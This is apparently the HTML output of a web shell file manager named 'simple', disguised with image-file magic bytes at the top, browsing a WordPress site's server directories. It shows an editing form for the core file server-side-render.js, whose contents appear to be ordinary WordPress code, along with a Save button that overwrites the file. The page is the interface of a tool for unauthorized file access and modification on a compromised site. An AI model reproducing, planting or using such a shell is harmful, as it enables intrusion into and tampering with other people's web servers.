�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fjs%2Fdist%2F'>dist</a>/</p><hr><h3>✏️ Editing: server-side-render.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>var wp;
(wp ||= {}).serverSideRender = (() =&gt; {
  var __create = Object.create;
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __getProtoOf = Object.getPrototypeOf;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __commonJS = (cb, mod) =&gt; function __require() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  };
  var __export = (target, all) =&gt; {
    for (var name in all)
      __defProp(target, name, { get: all[name], enumerable: true });
  };
  var __copyProps = (to, from, except, desc) =&gt; {
    if (from &amp;&amp; typeof from === &quot;object&quot; || typeof from === &quot;function&quot;) {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) &amp;&amp; key !== except)
          __defProp(to, key, { get: () =&gt; from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toESM = (mod, isNodeMode, target) =&gt; (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
    // If the importer is in node compatibility mode or this is not an ESM
    // file that has been converted to a CommonJS file using a Babel-
    // compatible transform (i.e. &quot;__esModule&quot; has not been set), then set
    // &quot;default&quot; to the CommonJS &quot;module.exports&quot; for node compatibility.
    isNodeMode || !mod || !mod.__esModule ? __defProp(target, &quot;default&quot;, { value: mod, enumerable: true }) : target,
    mod
  ));
  var __toCommonJS = (mod) =&gt; __copyProps(__defProp({}, &quot;__esModule&quot;, { value: true }), mod);

  // package-external:@wordpress/element
  var require_element = __commonJS({
    &quot;package-external:@wordpress/element&quot;(exports, module) {
      module.exports = window.wp.element;
    }
  });

  // package-external:@wordpress/i18n
  var require_i18n = __commonJS({
    &quot;package-external:@wordpress/i18n&quot;(exports, module) {
      module.exports = window.wp.i18n;
    }
  });

  // package-external:@wordpress/components
  var require_components = __commonJS({
    &quot;package-external:@wordpress/components&quot;(exports, module) {
      module.exports = window.wp.components;
    }
  });

  // package-external:@wordpress/data
  var require_data = __commonJS({
    &quot;package-external:@wordpress/data&quot;(exports, module) {
      module.exports = window.wp.data;
    }
  });

  // package-external:@wordpress/compose
  var require_compose = __commonJS({
    &quot;package-external:@wordpress/compose&quot;(exports, module) {
      module.exports = window.wp.compose;
    }
  });

  // package-external:@wordpress/api-fetch
  var require_api_fetch = __commonJS({
    &quot;package-external:@wordpress/api-fetch&quot;(exports, module) {
      module.exports = window.wp.apiFetch;
    }
  });

  // package-external:@wordpress/url
  var require_url = __commonJS({
    &quot;package-external:@wordpress/url&quot;(exports, module) {
      module.exports = window.wp.url;
    }
  });

  // package-external:@wordpress/blocks
  var require_blocks = __commonJS({
    &quot;package-external:@wordpress/blocks&quot;(exports, module) {
      module.exports = window.wp.blocks;
    }
  });

  // vendor-external:react/jsx-runtime
  var require_jsx_runtime = __commonJS({
    &quot;vendor-external:react/jsx-runtime&quot;(exports, module) {
      module.exports = window.ReactJSXRuntime;
    }
  });

  // packages/server-side-render/build-module/index.mjs
  var index_exports = {};
  __export(index_exports, {
    ServerSideRender: () =&gt; ServerSideRenderWithPostId,
    default: () =&gt; index_default,
    useServerSideRender: () =&gt; useServerSideRender
  });

  // packages/server-side-render/build-module/server-side-render.mjs
  var import_element2 = __toESM(require_element(), 1);
  var import_i18n = __toESM(require_i18n(), 1);
  var import_components = __toESM(require_components(), 1);
  var import_data = __toESM(require_data(), 1);

  // packages/server-side-render/build-module/hook.mjs
  var import_compose = __toESM(require_compose(), 1);
  var import_element = __toESM(require_element(), 1);
  var import_api_fetch = __toESM(require_api_fetch(), 1);
  var import_url = __toESM(require_url(), 1);
  var import_blocks = __toESM(require_blocks(), 1);
  function rendererPath(block, attributes = null, urlQueryArgs = {}) {
    return (0, import_url.addQueryArgs)(`/wp/v2/block-renderer/${block}`, {
      context: &quot;edit&quot;,
      ...null !== attributes ? { attributes } : {},
      ...urlQueryArgs
    });
  }
  function removeBlockSupportAttributes(attributes) {
    const {
      backgroundColor,
      borderColor,
      fontFamily,
      fontSize,
      gradient,
      textColor,
      className,
      ...restAttributes
    } = attributes;
    const {
      border,
      color,
      elements,
      shadow,
      spacing,
      typography,
      ...restStyles
    } = attributes?.style || {};
    return {
      ...restAttributes,
      style: restStyles
    };
  }
  function useServerSideRender(args) {
    const [response, setResponse] = (0, import_element.useState)({ status: &quot;idle&quot; });
    const shouldDebounceRef = (0, import_element.useRef)(false);
    const {
      attributes,
      block,
      skipBlockSupportAttributes = false,
      httpMethod = &quot;GET&quot;,
      urlQueryArgs
    } = args;
    let sanitizedAttributes = attributes &amp;&amp; (0, import_blocks.__experimentalSanitizeBlockAttributes)(block, attributes);
    if (skipBlockSupportAttributes) {
      sanitizedAttributes = removeBlockSupportAttributes(sanitizedAttributes);
    }
    const isPostRequest = &quot;POST&quot; === httpMethod;
    const urlAttributes = isPostRequest ? null : sanitizedAttributes;
    const path = rendererPath(block, urlAttributes, urlQueryArgs);
    const body = isPostRequest ? JSON.stringify({ attributes: sanitizedAttributes ?? null }) : void 0;
    (0, import_element.useEffect)(() =&gt; {
      const controller = new AbortController();
      const debouncedFetch = (0, import_compose.debounce)(
        function() {
          {
            setResponse({ status: &quot;loading&quot; });
            (0, import_api_fetch.default)({
              path,
              method: isPostRequest ? &quot;POST&quot; : &quot;GET&quot;,
              body,
              headers: isPostRequest ? {
                &quot;Content-Type&quot;: &quot;application/json&quot;
              } : {},
              signal: controller.signal
            }).then((res) =&gt; {
              setResponse({
                status: &quot;success&quot;,
                content: res ? res.rendered : &quot;&quot;
              });
            }).catch((error) =&gt; {
              if (error.name === &quot;AbortError&quot;) {
                return;
              }
              setResponse({
                status: &quot;error&quot;,
                error: error.message
              });
            }).finally(() =&gt; {
              shouldDebounceRef.current = true;
            });
          }
        },
        shouldDebounceRef.current ? 500 : 0
      );
      debouncedFetch();
      return () =&gt; {
        controller.abort();
        debouncedFetch.cancel();
      };
    }, [path, isPostRequest, body]);
    return response;
  }

  // packages/server-side-render/build-module/server-side-render.mjs
  var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
  var EMPTY_OBJECT = {};
  function DefaultEmptyResponsePlaceholder({ className }) {
    return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.Placeholder, { className, children: (0, import_i18n.__)(&quot;Block rendered as empty.&quot;) });
  }
  function DefaultErrorResponsePlaceholder({ message, className }) {
    const errorMessage = (0, import_i18n.sprintf)(
      // translators: %s: error message describing the problem
      (0, import_i18n.__)(&quot;Error loading block: %s&quot;),
      message
    );
    return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.Placeholder, { className, children: errorMessage });
  }
  function DefaultLoadingResponsePlaceholder({ children }) {
    const [showLoader, setShowLoader] = (0, import_element2.useState)(false);
    (0, import_element2.useEffect)(() =&gt; {
      const timeout = setTimeout(() =&gt; {
        setShowLoader(true);
      }, 1e3);
      return () =&gt; clearTimeout(timeout);
    }, []);
    return /* @__PURE__ */ (0, import_jsx_runtime.jsxs)(&quot;div&quot;, { style: { position: &quot;relative&quot; }, children: [
      showLoader &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
        &quot;div&quot;,
        {
          style: {
            position: &quot;absolute&quot;,
            top: &quot;50%&quot;,
            left: &quot;50%&quot;,
            marginTop: &quot;-9px&quot;,
            marginLeft: &quot;-9px&quot;
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.Spinner, {})
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime.jsx)(&quot;div&quot;, { style: { opacity: showLoader ? &quot;0.3&quot; : 1 }, children })
    ] });
  }
  function ServerSideRender(props) {
    const prevContentRef = (0, import_element2.useRef)(&quot;&quot;);
    const {
      className,
      EmptyResponsePlaceholder = DefaultEmptyResponsePlaceholder,
      ErrorResponsePlaceholder = DefaultErrorResponsePlaceholder,
      LoadingResponsePlaceholder = DefaultLoadingResponsePlaceholder,
      ...restProps
    } = props;
    const { content, status, error } = useServerSideRender(restProps);
    (0, import_element2.useEffect)(() =&gt; {
      if (content) {
        prevContentRef.current = content;
      }
    }, [content]);
    if (status === &quot;loading&quot;) {
      return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(LoadingResponsePlaceholder, { ...props, children: !!prevContentRef.current &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_element2.RawHTML, { className, children: prevContentRef.current }) });
    }
    if (status === &quot;success&quot; &amp;&amp; !content) {
      return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(EmptyResponsePlaceholder, { ...props });
    }
    if (status === &quot;error&quot;) {
      return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(ErrorResponsePlaceholder, { message: error, ...props });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_element2.RawHTML, { className, children: content });
  }
  function ServerSideRenderWithPostId({
    urlQueryArgs = EMPTY_OBJECT,
    ...props
  }) {
    const currentPostId = (0, import_data.useSelect)((select) =&gt; {
      const postId = select(&quot;core/editor&quot;)?.getCurrentPostId();
      return postId &amp;&amp; typeof postId === &quot;number&quot; ? postId : null;
    }, []);
    const newUrlQueryArgs = (0, import_element2.useMemo)(() =&gt; {
      if (!currentPostId) {
        return urlQueryArgs;
      }
      return {
        post_id: currentPostId,
        ...urlQueryArgs
      };
    }, [currentPostId, urlQueryArgs]);
    return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(ServerSideRender, { urlQueryArgs: newUrlQueryArgs, ...props });
  }

  // packages/server-side-render/build-module/index.mjs
  var ServerSideRenderCompat = ServerSideRenderWithPostId;
  ServerSideRenderCompat.ServerSideRender = ServerSideRenderWithPostId;
  ServerSideRenderCompat.useServerSideRender = useServerSideRender;
  var index_default = ServerSideRenderCompat;
  return __toCommonJS(index_exports);
})();
if (typeof wp.serverSideRender === &#039;object&#039; &amp;&amp; wp.serverSideRender.default) { wp.serverSideRender = wp.serverSideRender.default; }
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fjs%2Fdist'>🔙 Back</a></p>